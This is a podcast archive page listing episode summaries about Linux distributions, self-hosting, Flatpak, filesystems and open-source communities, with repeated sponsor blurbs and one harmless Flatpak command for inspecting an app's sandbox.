High-performance cloud compute, bare metal, storage, and managed Kubernetes in 24 locations all over the world. Go to getvultr.com/ldt to sign up and get $150 free credit to use in 30 days.
Kolide
Endpoint Security for Teams That Slack – Try for Free Today! https://l.kolide.co/3iIyKov
See our contact page for ways to get in touch.
Joe is joined by Alex Kretzschmar from the Self-Hosted podcast to talk about what and why Alex self-hosts, the hardware and software he uses, and how his approaches have changed over the years.
Alex mentioned his Twitter, his blog, a specific blog post about transcoding video, and Serverbuilds.net.
Vultr
High-performance cloud compute, bare metal, storage, and managed Kubernetes in 24 locations all over the world. Go to getvultr.com/ldt to sign up and get $150 free credit to use in 30 days.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Joe and Gary from Linux After Dark talk about installing and running the first alpha of Asahi Linux on an M1 Mac Mini and Macbook Air, as both a desktop and a headless server.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Joe is joined by Stuart Langridge to talk about Open Web Advocacy, a group of software engineers from all over the world who have come together to advocate for the future of the open web.
Stuart’s consulting company Kryogenix
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Joe is joined by Adam Pigg, a member of the Sailfish OS Community who has ported the OS to various phones.
A thread with some of Adam’s history
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Joe is joined by Joey Sneddon from OMG! Ubuntu! to talk about how Ubuntu and its community have changed over the years, snaps, GNOME, Flutter, WSL, and more.
You can follow OMG! on Twitter, Instagram and YouTube.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Joe is joined by Jorge Castro to talk about distros with immutable filesystems like Fedora Silverblue, and Flatpak and Flathub.
Jorge mentioned:
Setting yourself up for success before trying Fedora Silverblue
Ideas on growing the Flathub Community in 2022
An example command for zoom which will show you what the app sees:
flatpak run –command=sh –devel us.zoom.Zoom
[This show used to be called Late Night Linux Extra. Don’t worry, the fabric of reality isn’t breaking down.]
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Adam and Neal return to talk about Google’s mysterious open source operating system Fuchsia.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Joe is joined by Chris from Linux After Dark and Fedora user Adam Dean to discuss using GNOME and why we shouldn’t bash it so often. Adam wrote a book called the Linux Administration Cookbook.
CBT Nuggets
This episode is sponsored by CBT Nuggets – training for IT professionals or anyone looking to build IT skills. Go to cbtnuggets.com/latenightlinux and sign up for a 7-day free trial.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Joe is joined by Allan Jude from the 2.5 Admins and BSD Now podcasts to talk about FreeBSD. Allan mentioned his company Klara.
CBT Nuggets
This episode is sponsored by CBT Nuggets – training for IT professionals or anyone looking to build IT skills. Go to cbtnuggets.com/latenightlinux and sign up for a 7-day free trial.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Joe is joined by Carl George, a Principal Software Engineer at Red Hat, to discuss Fedora, RHEL, CentOS Linux, and CentOS Stream.
Carl is a regular in the Linux Unplugged Mumble room. We mentioned Carl’s Twitter thread about the relationship between Fedora, RHEL, and CentOS.
CBT Nuggets
This episode is sponsored by CBT Nuggets – training for IT professionals or anyone looking to build IT skills. Go to cbtnuggets.com/latenightlinux and sign up for a 7-day free trial.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Joe and Alex from the Self-Hosted podcast discuss DockerSlim and Slim AI with Martin Wimpress. Martin mentioned SlimDevOps on Twitch.
CBT Nuggets
This episode is sponsored by CBT Nuggets – training for IT professionals or anyone looking to build IT skills. Go to cbtnuggets.com/latenightlinux and sign up for a 7-day free trial.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Joe is joined by Btrfs advocate Neal Gompa and ZFS advocate Jim Salter (from 2.5 Admins) to discuss Jim’s recent criticism of Btrfs.
CBT Nuggets
This episode is sponsored by CBT Nuggets – training for IT professionals or anyone looking to build IT skills. Go to cbtnuggets.com/latenightlinux and sign up for a 7-day free trial.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Joe is joined by Gary Kramlich, the Pidgin project maintainer. Gary mentioned the contributing page, and the upcoming State of the Bird event which will be streamed on his Twitch channel.
CBT Nuggets
This episode is sponsored by CBT Nuggets – training for IT professionals or anyone looking to build IT skills. Go to cbtnuggets.com/latenightlinux and sign up for a 7-day free trial.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Joe is joined by Alyssa Rosenzweig, a graphics developer who’s passionate about software freedom and leads the Panfrost and Asahi graphics drivers, about porting Linux to the M1 Macs.
Gary, Chris and Dalton haven’t disappeared. We’ve launched a new show called Linux After Dark.
CBT Nuggets
This episode is sponsored by CBT Nuggets – training for IT professionals or anyone looking to build IT skills. Go to cbtnuggets.com/latenightlinux and sign up for a 7-day free trial.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Dalton gives us his first impressions of the Framework laptop, why we didn’t talk about AMD mobile CPUs when the M1 came up, and what we do when the software we want isn’t in the main repo.
CBT Nuggets
This episode is sponsored by CBT Nuggets – training for IT professionals or anyone looking to build IT skills. Go to cbtnuggets.com/latenightlinux and sign up for a 7-day free trial.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Gary, Chris, Dalton, and Joe discuss reporting bugs, why we don’t always do it, and why we really should.
CBT Nuggets
This episode is sponsored by CBT Nuggets – training for IT professionals or anyone looking to build IT skills. Go to cbtnuggets.com/latenightlinux and sign up for a 7-day free trial.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Gary, Chris, and Joe are joined by Dalton to discuss whether platforms really matter in an age where they all offer so much choice with Virtualization, WSL, proton, and cloud desktops etc.
CBT Nuggets
This episode is sponsored by CBT Nuggets – training for IT professionals or anyone looking to build IT skills. Go to cbtnuggets.com/latenightlinux and sign up for a 7-day free trial.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Gary, Chris, and Joe cover some of your feedback about why we use traditional GTK desktops rather than Plasma or a tiling window manager, why we don’t use MikroTik network gear, and Joe’s “homelab”.
CBT Nuggets
This episode is sponsored by CBT Nuggets – training for IT professionals or anyone looking to build IT skills. Go to cbtnuggets.com/latenightlinux and sign up for a 7-day free trial.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Joe talks to Chris and Gary about their homelab setups, their use of the cloud, and how it all ties together with WireGuard.
CBT Nuggets
This episode is sponsored by CBT Nuggets – training for IT professionals or anyone looking to build IT skills. Go to cbtnuggets.com/latenightlinux and sign up for a 7-day free trial.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Joe is joined by Chris and Gary again to discuss cryptocurrencies, blockchain, and NFTs. Our history, our mistakes, and ultimately why we became jaded about the whole thing.
CBT Nuggets
This episode is sponsored by CBT Nuggets – training for IT professionals or anyone looking to build IT skills. Go to cbtnuggets.com/latenightlinux and sign up for a 7-day free trial.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Joe is joined by Chris and Gary to discuss how we got into Linux around a decade ago, and what would be different for someone getting into it these days.
CBT Nuggets
This episode is sponsored by CBT Nuggets – training for IT professionals or anyone looking to build IT skills. Go to cbtnuggets.com/latenightlinux and sign up for a 7-day free trial.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Joe is joined by Chris and listener Orlando to talk about why Arch and derivatives like Artix Linux are perfect for some users.
Chris mentioned a talk called The Tragedy of systemd.
CBT Nuggets
This episode is sponsored by CBT Nuggets – training for IT professionals or anyone looking to build IT skills. Go to cbtnuggets.com/latenightlinux and sign up for a 7-day free trial.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
In this community meetup recording, we discuss what lengths we all go to to protect our privacy.
Linode
Simplify your cloud infrastructure with Linode’s Linux virtual machines and develop, deploy, and scale your modern applications faster and more easily. Go to linode.com/latenightlinux and get started with $100 credit.
CBT Nuggets
This episode is sponsored by CBT Nuggets – training for IT professionals or anyone looking to build IT skills. Go to cbtnuggets.com/latenightlinux and sign up for a 7-day free trial.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
In this community meetup recording, we discuss the realities of using a FOSS-only phone.
Linode
Simplify your cloud infrastructure with Linode’s Linux virtual machines and develop, deploy, and scale your modern applications faster and more easily. Go to linode.com/latenightlinux and get started with $100 credit.
CBT Nuggets
This episode is sponsored by CBT Nuggets – training for IT professionals or anyone looking to build IT skills. Go to cbtnuggets.com/latenightlinux and sign up for a 7-day free trial.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
In this community meetup recording, we discuss how far we are all willing to go to support people who we switch to Linux.
Linode
Simplify your cloud infrastructure with Linode’s Linux virtual machines and develop, deploy, and scale your modern applications faster and more easily. Go to linode.com/latenightlinux and get started with $100 credit.
CBT Nuggets
This episode is sponsored by CBT Nuggets – training for IT professionals or anyone looking to build IT skills. Go to cbtnuggets.com/latenightlinux and sign up for a 7-day free trial.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Joe is joined by Sean Davis to discuss the his shift from Xfce develpment towards elementary OS, and then we find out that Félim has a lot more tech superstitions than he thought. There is some bad language in this episode.
Linode
Simplify your cloud infrastructure with Linode’s Linux virtual machines and develop, deploy, and scale your modern applications faster and more easily. Go to linode.com/latenightlinux and get started with $100 credit.
CBT Nuggets
This episode is sponsored by CBT Nuggets – training for IT professionals or anyone looking to build IT skills. Go to cbtnuggets.com/latenightlinux and sign up for a 7-day free trial.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
The importance of open source vs open standards, and the best way to move beyond the Linux desktop into servers and headless boxes.
Keep an eye on this page for details of the next community meetup.
Linode
Simplify your cloud infrastructure with Linode’s Linux virtual machines and develop, deploy, and scale your modern applications faster and more easily. Go to linode.com/latenightlinux and get started with $100 credit.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
How do we get the next generation of kids into Linux and FOSS? A question we tried to answer in this recording from a community meetup.
The next mumble get-together date will be on Friday 26th March at 10pm UK time. Details here.
Linode
Simplify your cloud infrastructure with Linode’s Linux virtual machines and develop, deploy, and scale your modern applications faster and more easily. Go to linode.com/latenightlinux and get started with $100 credit.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
In the latest community meetup recording we discuss the best distros for low end and high end hardware.
Check out the 2.5 Admins podcast.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
In this recording from the second community meetup we talk about why we use our particular distros including Mint, Manjaro and Solus, and hear from a WSL user who’s relatively new to Linux.
Datadog
This episode is sponsored by Datadog – the unified monitoring and analytics platform for comprehensive visibility into cloud, hybrid, and multi-cloud environments. Start your Datadog trial today by visiting datadog.com/latenightlinux, create one dashboard, and you’ll get a free Datadog t-shirt.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Joe is joined by Alan Pope – Developer Advocate at Canonical working on Snapcraft & Ubuntu to talk about Snaps. The PR problem, the non-free element, security, speed issues, and even some positive stuff. Honest.
Alan posted a transcript of this episode on his blog.
Datadog
This episode is sponsored by Datadog – the unified monitoring and analytics platform for comprehensive visibility into cloud, hybrid, and multi-cloud environments. Start your Datadog trial today by visiting datadog.com/latenightlinux, create one dashboard, and you’ll get a free Datadog t-shirt.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
What’s likely to happen over the next year in open source, how we evaluate the security and privacy of distros, and more in this recording of the first LNL community meetup.
Datadog
This episode is sponsored by Datadog – the unified monitoring and analytics platform for comprehensive visibility into cloud, hybrid, and multi-cloud environments. Start your Datadog trial today by visiting datadog.com/latenightlinux, create one dashboard, and you’ll get a free Datadog t-shirt.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Joe is joined by Brent Gervais, a professional photographer who exclusively uses Linux, to discuss the insights he has gained into the open source mindset during his time as host of Brunch with Brent; including a deep sense of collaboration, and the inherent optimism which occasionally causes issues.
Datadog
This episode is sponsored by Datadog – the unified monitoring and analytics platform for comprehensive visibility into cloud, hybrid, and multi-cloud environments. Start your Datadog trial today by visiting datadog.com/latenightlinux, create one dashboard, and you’ll get a free Datadog t-shirt.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Joe is joined by former colleague Drew DeVore to talk about his new job as a sysadmin, the ridiculous lengths he goes to in order to use Linux for everything, Fedora and Silverblue, Flatpak and Snaps, WSL, constantly trying out new software, and much more.
Datadog
This episode is sponsored by Datadog – the unified monitoring and analytics platform for comprehensive visibility into cloud, hybrid, and multi-cloud environments. Start your Datadog trial today by visiting datadog.com/latenightlinux, create one dashboard, and you’ll get a free Datadog t-shirt.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
The Raspberry Pi 400 is here!
Joe is joined by Jim Salter from Ars Technica and 2.5 Admins to discuss his initial impressions, and then Martin Wimpress to talk about Ubuntu Desktop and Ubuntu MATE on the Pi 400 and Pi 4.
Datadog
This episode is sponsored by Datadog – the unified monitoring and analytics platform for comprehensive visibility into cloud, hybrid, and multi-cloud environments. Start your Datadog trial today by visiting datadog.com/latenightlinux, create one dashboard, and you’ll get a free Datadog t-shirt.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Kyle returns, this time to talk to Joe about his experiences with Xubuntu.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Joe is joined by Kyle, a technical Windows user who cares about privacy and security. He tried Linux but didn’t stick with it. We try to get to the bottom of why that happened.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
LNL Extra is back! Joe is joined by Michael Hall to talk about his experiences of converting conferences to online events.
Check out Michael’s blog post about the subject here and follow him on Twitter and visit his website.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
It’s the OggCamp 2018 live show!
Joe is joined by Jon Spriggs, Martin Wimpress, Dan Lynch, and Dave Lee at OggCamp.
We spoke about spreading the word about collaboration culture, and how we rationalise using proprietary solutions over open ones.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
It’s the last episode of LNLE. At least for the time being.
GIMP 2.10
Jehan Pagès spoke about the latest major release of GIMP, but forgot to plug the film that he’s working on called ZeMarmot.
Bad News
This is the last episode of Late Night Linux Extra in its current format.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Asteroid OS 1.0 and openSUSE Leap 15.
Asteroid OS
Florent Revest talks about the recent release of Asteroid OS, the open source operating system for smartwatches.
openSUSE Leap 15
Richard Brown talks about the recent openSUSE Leap 15 release.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
The new KDE Plasma beta and the future of Xubuntu.
KDE Plasma 5.13 beta and Berlin Sprint
Jonathan Riddell talks about the recent KDE sprint in Berlin and the recent beta of Plasma 5.13. We also spoke about running KDE Neon on the Pinebook, and also the Slimbook II.
Xubuntu
Sean Davis talks about the future of Joe’s favourite distro, Xubuntu.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
A new sister show is born! Joe finds out about the recent Fedora 28 release and the upcoming beta of elementary OS 5.
Fedora 28
Matthew Miller talks about the new release of Fedora.
elementary OS 5 beta
Daniel Foré talks about the upcoming beta of Juno.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
We get into dependency management. The pros and cons of tools like Dependabot, the varying approaches with different languages and standard library sizes, the times when pinning dependencies makes sense, and more.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Aaron and Shane share some thoughts about attending Kubecon, including the push for European sovereign cloud, how platform engineering might mitigate some of the problems AI is causing, the sense that Kubernetes is mature and boring in a good way now, and our concerns about scope creep.
Announcing the AI Gateway Working Group
Support us on patreon and get an ad-free RSS feed with early episodes sometimes
Subscribe to the RSS feed.
26.04